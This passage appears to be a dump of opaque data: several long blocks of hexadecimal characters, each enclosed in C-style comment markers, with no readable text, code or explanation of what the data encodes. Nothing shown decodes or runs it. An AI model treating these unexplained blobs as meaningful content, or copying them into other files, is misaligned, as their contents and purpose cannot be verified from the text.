d946f17cfdae2bacf62e78984e6a7ae208b71c4a933a9d77e2099e3cba7dbbf933755350012a6d3318eeb6ee2f161050bb2e36b62a495d4ea3d7bfc57aebfd46b60b0e3cf9c14f790ed6bb3916a14ea35b7f942d46c3133defe4c821e78b602c179878a1e3fee2b2cb4041964cb1eed45ffaa276ea87539bc464b1fb1aa71f66dfe9ad1610f94f6841e7d11eda448f5aa9bae480bbb517e7155d733459d8c4a688aa972f41e30b6f880cd7c79e983d04c88dbacaee5227da818a9f4bc33b3a71775ebfe24eed30a2aadac970755078e6097f109879148191589d58e3921fe2df25e1ed8fbf560bc2b9eaf5e4064ef3d40037114fe2df19a969ad8aa58434557acaf897ddc87c04f7ee255b2aee8dfe7c4f359d4d17a3c66204cd213e87850ce7c138b355f1b35aaaf653f9ceccb4fabd205bd90377fa354d43ef6b61104fccbe6f7635fd412a948f113db3c2f9da775a8fd2bf7224f0c5a9a4d628469b64bbdec20de7d3e9ed796250e5aaf9f36c2191b86a4ba45252a3603c4198cbe8211e263f384653ec2779e5e7b469586482dd5ffe851e55bec2602bbdff0734ffe33781d6c4e224ba837723eb5f52a56e6f7883e95aca62bd9df14631cb41f37d3c6d12c4f973653f0b6d81de333d3608ad9084e6de126140e7feb946c65d61ee82ceff5f719f54b5abcfdc591515d6021779c42824e8be99daa01cce77abb725391f0928631c6175e879080be2d317b40c299549036d7dc00aa86f59a2f409ccafb3003dc238200462e044599e5d8d1fdd0a152fb4c2caa4b89da83fddc3f29f49196f4b9b37dc8574aa4ee3943a3adfa1be2ff9de0eb676aeb2dd3870b05779e645cbb04a6014c9eb9d9a44faa8f2ffb98155b8c79b7a776f0edd7ac561029ff5b02df1468ac3c2fadead3fcd95e12154afce6af2eaf7dd35dc423991a7b4325e8522921a082643fe5c7fbf15f2b48c7e019532f7821c7f1378f143c81f733499ba6cc2ea7ed5c2a5c17a8f7b245dbcb5d9521a0a58fe751a393175994369c9491b194e6956495f9e3705ec79714444b3219589c17fed20f2b60f078a0e0f6b4b546055989923fe2a4701a90fc78623d6bad38b81e956773a1f1a2c9f4795583fffc4bb3de2766fc3f5df85a810a2f3421f1b71fe4010b16d67d0f496decd11c8c82333dc74fdeed6f8773ad6633fd371371dfc5e5ea5d0d59d80cd900426d396bf74ac55a220f0e121a08926f86f243fc9a38890c0fb2938a5290b8c6c707c517d8d3f04a7feba68be34451d73199ba001f0a7867a75cc6d2c825c60801a29c84b5044d9c149fcc2457115b2b93f8da90930c7916880d178903792991c5ee4778dfe0c05e82ef15bea4070b49381e50b6c011459aff3083e04dd036b4fab804affd2f40d84c06b807f629c87635dc371a740a7e38cf8edd9e4228026bda3320d34c4f52d13b71d0785a30fc7ebe4b661cb4ef0e74d7a6e5afd25653e3c50ce6571c18722e6dc053394c9b05cecdd60e3b4d5eacedecfdc5d01b4e298e159d1935a17df0c829b6775c787877b9086a7582ef9fcbdd584d8167b9ea464da99af6222439ab035b400f9e86ba5513b66ef659455916054f54ad714412c6760c848a1f1c6445932d48d4ccf79df03540651c20d320e4635a1295dff595560c2e26d18ba2e17f7992cbcdc306fd1e224516a877b634a2c1f66aa1f5861b6e22a278f03bf02cd0cd6b471a6352beba716498b0d0ca7524eb457ee43aadb30d7974e0b0333c6d12675c7545e1b9b59f7f356a989e9b35df30cdedb0ae7db5441849ffa0e26b7a3d84915f6d3f9df30c4f571b227156a731d35f163e6b3fe18d1c729d4be38670555a60230b106b6f0af98e0f82a2f6e0f4ab4b67be0735f1b79a8a0ae9195d7f5b37706dc4e29e404a5e66b03482e7974f37de41523ee119cd57b577a24d4b22b39bf276e972c55b3ce0fe1520ed99372f60d0a34a0eca1aa9a661e3fbc00c784800a58a70259b6f10*/
/*d2f36687a13eb9665654e998b505c626f25ab9d6f7f45e8ab49e62a0bdbb61cda020f06f0ee620dda0224808f47aa0408739282d71afc2e01f00d2eaa59a504f1360bc58c8896c8727522ba74a993033f576ed7294f5c33c530a10d0f8723d0ee6f921b202f28cd54819bfd420e1c5f531cb5019ca02c9ff260ccaddb69c407949f82debf7329e7ec890293701d9be909a2dfb12bd3dd54c870ddda62da27f85871c83d70aaa74122f19c970ff0ab6a521df3f0b42c8d286fda5ff5f61d11d1b7686e388e25b7552281bc4f7c48c105d8072941d1f98c7e3cdefc2fed8625162b0cfb273ecaf8356dc2ed9811b4588f61094e3c0f3299edaddb1c2ddd639beaf10f1ae71652b8be005b3f327ba87550f73375ba70aadceae4eb6a47acc2c05de814a4279a4305a6291f4d27640a694f9ec6d430fc2bfb505d429f38c60cdc6a545c653e3e2e704cd9a91568771aa834444544852bff2c7ea13d634df3f4cf3cc96fa783078a9cad4245eff90d56aaa885a936632929d310239fcff3ae46ebe9229528a84d0e81e7830af388bc6fd1496ff55dca00ead2e45a665f90bd6fd7cf8b0a116cce94217b98fe05c3741d1fff9a8bd9fe79eb388ed4821df757fa62dfc105d15de73424e6a031147e5fc4645ce5c549e4b99591256bd74e9e2ba6514f2114402b3cd9ddc34c0a2131af49e256ab1f91bbfe4bf523cb387b1e09e2036c313c1156a583fa4413a0efaa82fc379b84d8b607525df322d40e6bbb14dfbaa63f76a8d3ac962a424329a23a5aa477568c9992e0053f2faa4584d6efe6e15aa2e296814b5caa29504d9e3eb10fe5a4843fad528650f7f98d5e933692c43356598ee563c31ad0c091f2670857ea7f9da411a19f17f07a6f2259bf30a8bc5981b31a19eb359f69cb9d4ca699e2a0fb662b39894698194ede83e1fc972f4e120be30437388d0c9373e066d5de6d683159b804b577a6279e19e2d360f920d875873f877a95f275cc44d43ebd7ac7887835b2f8a98b636c37b7fed36a151fa431ba9206c3d581a11fe5c44e0f1f0afcaaf252b32225f79a662111791bb154d8781e6abf085bc8160f606ce3af8eeb6e26749786edb5b9c167097236f1d4fdf2aa52a7254393f8b99f0f38750a9e2d2a70d8c9fa5dad541e697bac926f968a3bb1216e03056f789c905e3ba68d381d08de6dcfbf06005fd3fd02b671e1bea28dde924d7653729987c47c8b3f00ace84263b3f96e6e66adc8bb22dbdc401f0568bc1ffed96acc50ac99821676bb85b6c3075ecd65b51c767968a99d7d098705f3af85fca22fef181d8f801f1ead91d5bee564bbfaa404cc9f6ac7179551f4aa8b55c9248f29f517bfa45acad711e4711c9c645eaa509eeac763bfdd5e5a3dbf55627d1786bbaa484bf8061d103f4552a1de87aa0f96f2c38f6209cdef62d7795dfa8f816baaff587742934eef192fc2a025788a825a0e5bfbc531a83a0c1d62e381c2945be8c7c8aaede05aa52adf46998949fa44c302974d954d0c00b70f9582f4d20e6ff1646e6a0d9e458b97c130f9e96f3d42370dbdd07770cac9d73099765b5d3b31adcb8b41b02e4cee0d0ead055da3cab57b5a907914d3b35278100ede12267b7ea5e5f1e9137d69070bfa60b1213dcd94775e408586243df7ed737901cffd8c2f2a91c7f50f85c48e738b37a0edd7540f4658229837a7b4b1c9e8b24dd21ada0408835244bd245612635b94c57ee12d2863e2b09e098d3220ac5d834079bf7bb509e81432967d64e751e8ee7321d4e839e95f9e227572701d5bafcf6f4186768871b7ae9977ac893e0c40863729d37de7d3c6353d747607ea6a94474c757de4750b020a90e8a404f351635ed54d980215be264b1bed96ab417739c154e4626cd9ffcec68c9ac82ffbd33a3e3055b9b3d7c8e10b46bab8fc3c3734083265697f9edb830a767767f79966753d65dfbc6e6a3bdb2c54a8b25eba6a6dfb3383caea760c21f0206cfce74b03cab3ba9e64ef2fdd5a045796858c69ef2d6307a41f17fc820aa717a3f119fbc7916b0568e41ef55d5df914f7891c903f4b9ba2eb976495beb41d290a880d564e40d8cbe1b37c1ee4dbfa563d41ea9648aef90679c0fc150305dd91a41f4c26eaef8fe3fe0e1458b8cb3259b4d8dc1e2c42e88fe3c826e02fba155fc5af5cd725af4a0ea61f0b105e95f63d20b4be83436b1d551fcfec74648ca5dbc2697b5620b75775c5bd45a9622efae7f7208a969155bffdc9e5d31283d878680db70eac9eb615d2597caa8a198b428e5b51e408506e170d8e38a95d6e9b391aded51935a53cfd67208f3fb29829335483b32c744da8e50c68fd7c0a4c45826db1ab2c7403696839d81fb7f9be6ff8eb958994bef09aefa91b7f991dbdd4cabffd24bbb131cbb5acf0b10aed6c977888c9b1b4bf21297a692dab4dd24965e9bd88db1815185da8832c1238941c4e9d2fb8d1dd9e642a814285a604bad6bc5c17d2697e12db3312344ebef3a7298e6fa9599092fd6b24c018937672513391e47642ff36d5187d00cb23b70ccfd676858249a457d4512934e6827c9ce050852bb94be9febe7fca213a33377bc1f28835878677cf201e00107509642f77b17494b633a0311b6333e3b164c4a067a504fb1ee227e4117ad1be48f9b71a6efce2a7fb91cf978c843086a56d21bef1337321d85809b6d3e601db75235171368a18b21b8772f8a6d4db073bef71523a6fc2f2d3ab693af802f4d5d112520041dc24af8340be425e635377cf66e56417a05b22e272356c88f0f5656c458f12fd52dac070e4b5ea2e444d70b0f911e11*/
/*3cbd05b1090c285315feef69854008dabbf0ce296a1b59f0767a4a63c168d11546b08b8be3419458de30fbfd680a066eafc59972713e57d0b26b58ce9f69aa1d4929f7f12cc918d2b065806b564218c2bcce1da72242670561a9f45270579df209745f8bcde592ebd0c6e4dc904a487074863436d21437881689208208d6d0cd9b558a5778bb67359c73072a808f10776d00e5ae943343ec9f97f64d72bfae6949cd841923c0fabae1446aa744605d0087f2f9436c396e8b7ac9705bd5d008acdb13124f3176e431181cc857acd3f1d0fac01d8dab7b1f058dc32478871b5a225d060a47bd0ee8a72ed80a0c3bd970c5f863fe9223e5773e0d92926d87ee9ef17051c22611bfcc54da621524af558c446921f8bc119132765fd0eb404501efbbfcdfc9d0d30c813dc93123d534c6dfa0ca804b457b188caa7f639d14e7ad9a3320ff61b652830c2a4073f8dddfca7d8616486791b73045bc64000e9dc16008f581e4e7218f8385d8245dc600884351f978b59b089f13dd8fa5798d44075b59774147e2b97d2c6b5449f266d7f76edf61060b66342384f24ab99447ae75e22f1f364c9d844a9f4d8af95d03cb45294044f839b88a4c1758e5d32fbfa4cbc58efaff7ed1ce4f0feb7d2d311e63e833094dc8a35ec13220150a72a93d743e90cb1223e1ee057fb139f7a2d97162095d35b6d38e9585e638c54d10ecd88b998a7badfdc9ebe9dd6c954f01418fbcf2d9149a7af7a1ee4251fc6fe7aabdc0d206da297eb0595467b408f0beb53d1b05b816b267aae7ec1e4b2b6a91bcb6e5718be3cddd5e9684c5e2719523cf0edbe6214c68ab46b82bc3aa5fda436d5ed5d7436633a40237bd487912b7bf3fe6dfdef21164e0744a669e44407ebae7c87f84ce040c56b46f65fdf980ecd8721f3803a52c5a4fcc318769d1b4bc33bf1769ebcd489c15b424303516cb5d137a5edbc856092f6666facf2f7bf0d10f93723472ab7165755cb4f53cc778ed9ce9d6851a3e838539c1cdea04d02e2ac17329e441832e3cd3867a75a5e114c73c5bfdef02c041fd5102094aba528f957572306855683880a70e4b55bd7d88f3f40d7ec60f1820824e0aacb4db4db541ed5d011edccec154ae9607a62f73a45a146c6dbe85979f6ae902f3e81c158628d2c3411fbdd88fa0dbb0d3ce1c75e1cb7d4735e241e292134bb956231964d71f34f1fc7dadb8efdb0efb15012dc7c907b5eccafd1db22f232dab5bb8d17d35d74bbe8886555a8bfb722fefdefe279f1a64409c169c72784c1806e51b5e05f8b6c0cf2e6b007d0d8e8fc99d8d6e45bcc221fa9c55ff9305f13c9d0af8a4f0b3f9160107028596cafa6bc6a54bfe8b23f11d128f142f860f5948b2a02ef7f0aade040cef4257b0bddfa26fc7cd424ebb5de2f04330f27ad80c61b144ca37715bfdcb15d84cd9341c5a65997369f0cb1149b045ff23f0fca2f4b122cac2a84684df8f2fc863f47f6f1b11f29de74c06dae042f9c2b141160fa52923229f137646c9fc12325b986f3560ec4c559b92b86f2458ccc84fba4d17e2f14959850e6b2c6cbcd0db8933defaed89e083dbd3fb375984225d18b8ac0735409666df70b4dcf150af3145d3b2f03f0659c06a15c854397aa0709786431df25476bb03f900878728bee3daa0669e9e5a9214051c5ad90e6aea0340b7e926aebd74e704771000fa7fa2a2711de6fd1d97b1612fb00c5b3d3c59051c90b5f0b83f7fc05a10ee54428c2d02f4097899200ba45bbe15a449e6b3d1db39ecbfc9d82434bc7b524ebc542a31422bab7e01e2b4cebc22bbaef9814b595bf2727643a73d5e9877e60e24db1d0fabc083d981166d05ed0f4a4f0f0dafaf38686b96d7991e4881ce7590d5c9872f9f64f53c09ecef30c83d91abb235ee34a9b9a1b86032ee1eecf3350b3f2d77c72f08c46583a66c9fb35e0889f3a3c83f9fda6353bb87d4191b37442dbee491698f678e8dd4e82f94bb4fd30168a46d27c43a43448672bab3bece2e0a78a1be57edb780bad255edb7fd3041806fcba2441072da761b3b1f0e24716a0dd2ac94b981aa54fc7fee318cf7af9a1b05b07b08a9195803fee41867e212e842cd888c4dfbdff9aef4c8d7066a18db14e89356805274bf8919ec29690ef02f57ed5a91ae72e36ae40059aec4bccd4d4f11a26bb59ad937a5dfba0e513b5e0582fe82a971d70d7233d8afb3b5cd7ab298bb592890f43883380d04cb655492bdb1ea378bd5fb8db292ca7dd4703bffa8ac7cceb1ef43d095a0975ea42994a4964e3c3983f162f6ec14dceed5c2bd2f27e8ee50af59ca70b5672c19708e2b48c7d1f70028166b9bd23ea6b1c717407a5b2a8bd1ac17f8cf41da03d158266c84795f2902f47811602b3aa85e7c74a57b258bac938b4c830ffa9a37d3be2897b3feccabf98194c7c6415ad3e14c30206da24bfe7e211e489f02a536046d57b1c5616bb805497a6519fb8ad8c9677575cd8888bad359ca86fee35205fb8858fb27ae045c843ae838b42f3ef2c14f06d5da12e6bac0ad1286c9836f2da520d4016c640894ad97cda1c391c55e6ba4468c62b379cb599a0a3cbea67ed56ca940b03b8701d1d5a991509e0689f16a57eea182e55cfe08d752c8b0f6d5a8f0aff15d0b6792bb79ff7a6636f3e2055879148cfe2f65ba5452a6ea640927aa933166dd85dc6f560cd15b4f3fbf18ee14b5281748a1e847b5768d0025990d44bf0fa2df1e67a44786c4a0efb23819a09a9f45cfd8db9c19269de0ec59d3437863c9fe3cc105317d72e082ef558cae9a3062f3528c1d6a568f4a52999b0e3f453f*/
/*dcc95596d4a8df87fdb052ea49c30876e4b23986e563850e9f7392f943a6e923f9caebe5676f16f0ad8460be248600d8d12ec64ad6ebc9b1f441a2f882aa37832006f8bb1076f987b412d50556e355212f391e0d60ac7a976d2c817a872f5398096483d6ad7e9f4ed7cab4c54ab7d5c660ee63a91672d275691c5176c3f87f6d563e782563fd49e619a79686d2dddfbecd32cc47608b8b3b15d4e8c8d009d0fcc8b4598b1696cc607ea6f8b9b5a325a773496a2e4c87ceaa869f7c111ccd938ae2fa1ed21982589b071fedb352c276cb3528ffb3b142182009bfee9be59d56fc3996893dcc6d4015d12135f7a297f2e04165d9da9ce4ce5ecc181944fb7977bd18c6d995192aa9b0975a42dbeb1ec34f9a2ba03ba3896c54b41fa04ae84f4dbcb8de6147a647790ce708e43dcfe7d5e0c537665ab1ea0aa80c1e4be3c1282ee57cc5cf6768c61f61cf0ddd07cfe23b2f757800f217095ad8be684cfd0b2010406198c141ae35716390f1479698f813f0d6abd67a7a44cfa7ac975f821e1d26b9cd896ce8d14ca099808a0283690aba0300859e2ea3eb60934a156e977b9a8442c6ab7bf63032c76bd912dcb97d3cbe148898c181ee05a579e40b185a918d988dcccc111aa2dbdb443eea3a894b24ceb7225850687d918b86a0eb4512e4213a08bf21dcf3d87c245f1798599993dc720401d06efa2ec961823d5146bbc26942bdf56e173369a138413203ab33d4a151294db59e87c32035c1c60a79dfd012152639b229cf15e6822d3ad8c9c5a31cf24380ba7b671ab9bcba108e1d56617958bd55c9206056571dc825ab1bd226e6090b08495ba7bdfc3a8dbdb8f5172ecc0a4cb45d4efeef765afee8085af58b55a8afc81a51071ae214065a7ee3f642b6af84f99ef15a56d05e5e136d6239d01c395fb1444b86bfa7e092d479a98c23eec3994b7ad340d16c8add43121625b816c5b543920fad539b832caf91300ae6cf5a09e7a81f9e2edd50630c658d8f50710fa7079d12ef3d46d3ca34b041afef784219488c3fd13a3a46b365413a679d3a3f140c2929cca86415cb595c49a9169c77b0c47096de9ec15b46122cdd3586335441ce5433a8be071192799b53ad9dd7227f848868946a340f4bb495f657f548821f53c0f307a4d78fd2eaa76967cdaaa1c97e4b6abce706755bc97fe02a38c12d10dbc494fd2745711191f1fd59b833e6baf9f974923bac9bf9ef96f578cbccfdb4dc9cabb46e4fc4cacc97393b5ead521b5924215628dccaa265942afd54e004e83c51d4696e9d1b8550e5bc4d527ab74e0d6f4a98b1fe24d692e6d30851388ced2e9fe205c8e72fcb7b4773d9655ee7c7b0606ea9ae5dc68b3a32af39a7a6e57c6504a1f26a074d3d7e6476ce2833b227bc5fe092da0f00920d9b146110719a2a2742a552eadd5116b2bb9b15d202df9de8244fb80339035fab31f22b65f7429be8741188e2ddee3ec47c1bc84ef957f976fd4a4ae5b5f027246543f28bb9fa34b8e16052fd04f71aab7eb6b78d40517b47dc7628e968a1860599d3854a47edf35cb40f935aa9e762e35a70d2720e5b9973e80d91397f9febf8a50e8d842169a8fc43dbfc193138d7beea9bbb495a4a1703715bb877b8c68adf68e4dad698b917a61dbe100ee25c0c85eb82dadd7198941e984d33eb4405636f033895123f56387154a448e6e11602e04e48641f1555b242351b77761cfb1c5485d108e8a7e95aff356203f8c247d42cdee79ac2457479bb1b275d05ac5dcc28b87552c69121782c6e96f3d13144bcb75458c3e90a9bd73be3b8ef5bbf882571047349defdbbf53964890b866ef2d64ecdb5ab4be76f5bfaae38c4102eca6d52eae40035acf66fdc1a3d6159422cbf48da732aae54a13f4cfbc8eb2fa22d1f22d0589ac13c5ebcf1730201269d31f7972a47b38c8634b51286b2b678345bce3ed081f59ff44e0b8098b6019f854af7e22bb93139f28d83ceca1f5d5e12fcb115da546885f2fe004746ddd13d1744e5c4174e843b230c46269fffb4d8960da3ee21553a515520ab70024a1fcbbbb44fbde8b9ab8787f645cc25346fefcea3183647af421b0581665caea09704db7e47fbac14972a2f3037add4dcd5bb2a356d6427f8b3529b0a1f83e96af9bdf2a3de0f20157b4a4202dec016e206a6d4e58a44d6d3c5ca65009b2d0064be4012d56fb4745e1dce5b6c68bc14d3b7edf09f141ee583c5215963860669a72f53e45ddd7819228ea6c0d92e0f4d6839e8775c1d7bee48d16be4a4046a3580dbed9deb62e693ec71fd7b22f576ffac639e7fa53f696169571cbe78c739503c18ac06f638d31998c2fabefcc6d3df774ed6e7508151c96dc0b9b55481021be4e47e463e36a75de83a40025e960ca656a50a10499e730296bb1caf4946327ec90c771e2e57384c2cf944bc44ae5582156b4a7ca41b49066cd21bc06b022c83e9bbd4687f736b6f66f4f20d388a4ecfe89722fd871a46bec49097441633dc9d44830524ffcb9093f34d62b711cd49d6b248da6899a55b28176215f6166dae4ffe1bc0740006c56f2404559024f9af557277fed413fd326ec6ac72782ae0fa992ba832a31aea70fbdcee36f0742484a5cc7486f931ee0182c525483d0d5475cf244a64a3eb7f987351db9eb86e9f38142c88fd76f46237ad216dfa2bb8ab46419da838906d1add1dc8bcc9f61f4621459a0d43358c82bcaa46716d1c5f3d33fe113acf2d747a49bf38de7a1c22b74eb29032647d5ab03a00cc3483abbc1f2851873ded6df4802bc38f3526bece20c4f85bee43f09f6376e03f728c47c9f2*/
/*8702d7233d36729db5fa0bbdb240b098650f1e1e292222aa250c06052d180a9bd978a2e2bb6e957fa0a06a5fc68b86091cd7faadfb4318fbbd9cba3d10d6bc38632ccd897b3677ed51241c688099373fb874366218e44f028a9dd7f661b97ae52b6f3394386b4d0bc352cd6e61a249794c1e86507b74948fe378989520a0b207a4e75376f8c98d475b1b2ac4e4506198b6e05d476e9b01f5da8018066a04f5e933f0f063481f05f341b36a11f7338376067ddf47af02df3956708f3d61bd0a038173520bc69967014018935a978f1ceb704247f3ad321a9696ff505879a95343eb45e8e533322d35e11b0f825295990dac49dbd93013bb561fdf9879173df15ded6a6f9ca5555cbdd00c9f4f08c7e119f9aba787cbe4836b07f88549d2f2271892a3bddb16bb23fa016a0d588745d60b942f88d279e199fe95cd932d5c1fb46a74bf7d8d0ebb8d2e393234749657d6a08aa863a710fcf8dc0fccbedeb004bc1e60929ec954ee18e41cfd54539c978660b880304631cf101794e3be356be6bb3bc912f701c96059c394bff1f5f62c74f228c97e38e927738f8d81a38d05912b15a9555a12395c64812af7769451050c861b59717e2fdd7f069b2463774f7d0ee352249264a55ee9935674121d905a2e105daa4c1b68d4623624762cdd6c0129b9f808d9a5e030af67896557e0852dbf57dbd330eea59f7559e0e18ef3e567a4b01a95ab7039c62459453a926608e40e202cc029fe5944629c8979c28a1ed7d2abc8ede40a3dacade5292eac7f3768f6c43a9aabb101b54771974766f5435b79a509dd8cda967d92c345ce46d54efa69245f392647cb0aeee58efa42516abd46392d644b8568e3471b7b567b4361f0729273053112e3b18fc003c3f3150ea250eb8c9efbeb7ba0cb5d0e2d11dc525d44ae8bad37c690eeffe6c722ae713df055809284266f11b6ea195a153d9b7149f2dce34975eda454638c711372aabf0d925728d8161c9d6517722afeeb30585e7489112fc3517dcfda925a43d3e1b3798d5357a52c5977d491ef01b76d4aa67cb7f945178df034913182adae6345ddd99466f646818e8bacb4db19813fc5c521cd7b9d127cfbe2ae14cfc30533f72b16a9f6e9986fc3b41a5501157267a5596630f812bccbdc3d24bd1c4a3df8ffb80b6ac54ae70aa1f77cb5d49f7e42ae0616c430f5445b2c7dc9a5e0f6cd34794e9667011e8070dacc4d3637c63f3a4f5bf0f91fda5024557cd4019b1c0430da3d7075f6796bf8a0904ede6acd65591260900ddfb92644724b95644407b56208a2cd57b5edbcab04e123df91048b6128f8d6e109f5e1636be4fe4d5ffdc879ceb240841c79ffa27c1beda1693cc8f2cfc44990b992811155819492c6d647548ce48d7f2b137a004227607eaf9c726bf19dd94704748bd52e8549798592262e15f0ae41ab378d97403b21c0bd9f7ab87d57449bb033a09ab8c7f8b5e2ba77f7d04eff315e5d3313fa972065f5b81ab479e10c3b454ccc296d1a9c008286e5472e38a7a20841be0dddaeb1a55f36c15fd52b2dea7ab290e10cd0c502dac80a3a44c6118e42c315ed07558cba35a04403486ead8d255612195005c251a45ac7cefc75ab02d258c7a94934102a344d042b20561caa98d6999b929f7f5a3f0598b3e63b727186fe7f68ebd37220ce38e2c4ca1dad3d19b1fe30f716e0125f03c5941657f149f7db29befc277687a08341e0fbbae94d89bb6fc91780230e5e2100fa11f8dfa099b9fb450a27c7a005ee44be6994454ffd19a8b81f509860599c05f7c862fe36b59f984373db1155c313325d5ae88c3658d3c3750ab8fd76f722f76444889e60fe1c4e28f7829eb35d54d5e5ca0f413bfba0f175e678712b7cb99301a1591000363baf9a0a3150466c08df781c8282a8f10e3184a4cd9dcedb83263b566cd535e777ece6bd9832736ae6145e9001f5830b88b5900a2e543d65f4a0dec0644ffca978b94b29ffb859c96acbd4e1409c5f25c7af963d7dc2ea937a3f94459c419037e6af5094df212a3459518c6067c86d5496125a88c025716692b96eaa1ce34dda6100f55fca59fe4d23b4fe13ddabc11b9e99024f9262b08ec2a04d38b46f9292fe8e917abbca43857979aefc40ea5803cb302dac74272a3b8c94eb84a86ca127c55e1ee1a624380763a7efbc2a07afac114dcc6b0417a3724d6de16dc065404d41121868ee25a8c556c06125f5c4c5d1ec9f721922663f8aac2f5c132ab6de099f4bf037a5113dd8c3945f7fad11980817bdd82734d646c2a0ebe575110cda33e28767767b556c4a4cddab46264246f5dcc36ae211d610ca673954febacb3e1d38001f680ee76110b529d21049fe60925bb3d527b2d97357e647370ef98919667fa0dff39b3c9ed1dd6bfad882123f0f798b3c91922b8043f4fcd5ff7beead24557de4e03130a74322df38ca3e3f5c13ac1d5c71949caea0eb08a089baeccaf9ab7f177744147292c54d0b933611db1fe984268780a55456938c140455c91056218add3b2066d738c79d395e8c0b9ce0d3fd57b2727182b662b21e7624594ac400412a5348b8dda3b60b565bb611befa6489345adb11d04893966edc1a9c1d03b2b4043faaa7f1bd3681140eb9e2202e4a9a748521af6e44aca417f21870b803d77557530f3c0e1a1083bf25b127ceb91c94f4dcbdf3301fb357a903e653e21fdad4f34cdafa6d1a662288ba533e333dfea21f55166de7a0367fb37ae45104816b9f165242c71b39b8e8b0cfc25b0d2537e961528d2d5a03b1f83bdeec56b77aab79a4513964732a09fda8cabf393601*/
/*5cd9543c0974208b0a360730346a6bb30502a680efb1f91771a82ab8f67a3e1f1277c429aee61023862d7520f76fa2201aa85fc4fcd337f4e444f82d659c79b423f23d0afc8ee66e32ee6dca187afb3c1814a0a03c5121108b998f95a2845853f69bbebe2b8c54e9c22b57009ac25a84ae9e8c3113ea00f47bd076d245febd326841bf638698531d02966e4922dff9a7741b78fe608b4d5d847b7f709f99875b100863a90c21746a76c6f6b5fee45721bde6eba260b4b9c61356eb677adc9bff24e0d718d45c6d2ca0476846d6ca98bad7a4001d9d775c082ca50dd865bcb8a5fae1e2d1278fa496b83a0780dd6428ab611277c54707c442342d072a022f36926f4fe45704d697054efe0c6dd2a30005d32740e18a6787c5becadcef64da04afce4d9d69acb5d49664d0b7f344f497ad0fd4316a4d8e7d96387b6055e4a922e540424547ced206fed24a9fc7d8eae723c7614d17e5d9ab1bed6c6a3143542aaa3b0566e1462ddd9565a557ac110e1ab696d5f043b67ee2f57b8f92dff422cf65c2d19a8f33e09c80ee57561840d909586a5d9b77212c3eddabf3a88a28c84a77d1350ac58eccd890a6af034ce3912d85357ecf743fc030c107b4bc5068ca7e04716235f76a6231d72139b15ff6a5c23c90472ee6cc0841692fdd9e9c4a1a1e151d6aece08ed207088d48592cf98a91a1152c84288638e22a071a09f9ba6746783c8278a1d3763fddf856e4910ee597898c9047ca0931821246e08c2a1307296f0169b4b9047f0b2f73ab9f418997d87d6ba64c3ec33885876d062cd0e39df3480aeb02d323ee4f16665ed3281dfcb898bafbc848d5426dbed12e170b75001f65656a88613d011c53b5f371a4d66a9d73685a2bf3c0bd6e20a73af19d5144186bbf4ee762b4500bbd1ba4913e76e49cfaa1aa26ea9b04f51c30085ee60d3db55c5f8006f560fbef94bb743bf390ff0846c9c58b565ba0d41742a31212db826049ddeee93145cc5230be0c1b51d96857e24fc0135e91a5ac7401f39f94099a033188e9f9d4c80d2080dd2e3957e9b9b90973de7333c73fa999b68c760d1cbc18baa07c1f601308d3fbc63b3695fe08451de97a0175efdcfb5400319d29760bb0e0d2d49d817ae5cc1080ed98f2d1ef9809166c819334a0541b9da247920dd0e5bf483e4eaec5f569194370838156118aac9171fa9d493f23cb4abdfae2a7fb146752f7a25533169b099e204d5ca7562336cf8d8b8ac821b7d333a7f1fc20781cfe1b6333f82a9969fb8f5d3237b5890a015d0580c21828190799dc81c316cec22384866728f5d727e456462cbf8b1400de03f6075133809c10906dd0675895eb7fe114b89c4cf292a73d934d30e0ab96722f04db0a60e25649cd0f1b6e082a21692bbc7e05bd5372c54794fd53a7fce5830d5fbd5d33a4e57ba0135cd9eec3329fb331d445f797c6a44798a1a04b0503ece4ad5a05cbcd027c321d70b2c93314954f9da706c0875fe597e4231b6e668b54fc3548c65033f40a375446fcf4c36099ae03170178155dbba7b31536d8ddbc894de44a0ab893a03698bec98fc2bcc16abc1a3e49db789537fa99a6f0e78e1b8b0a4abd3978cddbdb12134a7d7f40828f728ddefda3cecf24362578ef58735fa7e0af38a9621e1853c88e7054d319aded2d50ca3e739ae564a60f2e1f408debd6e1747f46d086ea88a63e89820af54d8be428798219cc5f01e4ba75aa5211101ad5e3dd2c5ff9d96875507167affad8420aece0a17fd8173f8e52835beb9b482ef9120990f8df5b70b68e00797965be85629f491bac1e5e0221b452d97bad377b51b949833a3a6b88f5ff0259737c9c50826ce866bfc7060aeb28a52253b818a841a1b26ce04f0b375af95de180eb8c98f7a9554da929218e935c85d8b461a695ef108f8aac2015ba35938d71afe6b036e1e698e6798b7a436d669b6ef54953bf2c1cc2293e78c706395974da01fb1a9c2bdd47861fd95eea07bac9d6a6cba98b6340f902df3dd0f4725bf8eff0db88b2e1dfdf595ad14363f20e42b77a2446b28998692dc189e39dbc3bfe8c5e1f7c7e43c0557ae28998f0e86e78e143a9cb22f050f34870a5f5bd2651bd32c4ddb079e2acf677a931308187c2cb5e45c9681b0664e0e58594b504ba1973983abc5a2e275dad746ca08985cf32dedaaf1086b9e4ce8c77d8a814ee23e133842e5711b4acb0e8683d734476f6da2c52940ecc8ef7d3ef4cac7b8887fb81be5d2d43b413d3d7a7549b41a92d1cbac6b4d5e4cfa9aa081e7050c5eec19794327683be1394fbf67940a7ef668894102d43741970d167303e8e3cfb1a006166d6cffca540499caf5fa13a01ca2f1f1c088a826d6359d2b8391598e1219cc5246ce0b70c6bbf184089813a589b32103c287e62669dd62da30d57d189b5ed0b526ec75944056a5bf9ff9ddeea1b36e21f399dd8ee893975a22d6819890236be1a1328112afc3b3a49a4e86f3f2181e73194e3ac5598dc43d647426d0c2c474340fe2a9c21d2be4dd281a204fd4f8f08b2d82af6bc00678055c0937b75986afaaef0604cd194383396b56f65f26b67efdf373ce771609a5364f69b9d45282acb932ec719cb2d9f60daf8a20273108de54d9dfb9648e56687124a446195e1e40e154213bf246fc40fe4f87f79868b33d608f8c15847516cfa9f9bffb46bde96d409570b5bb8ec9e9455c1c24ef320c9b12201bbabec3d5be297579d2abdef5e4395774d2e20efa7348bebce6ba15b0b3aac4f7b05e66a514c781e6f816cd29d90795b64480527ee752b29ce6ec0fe120cb0018fdff39309*/
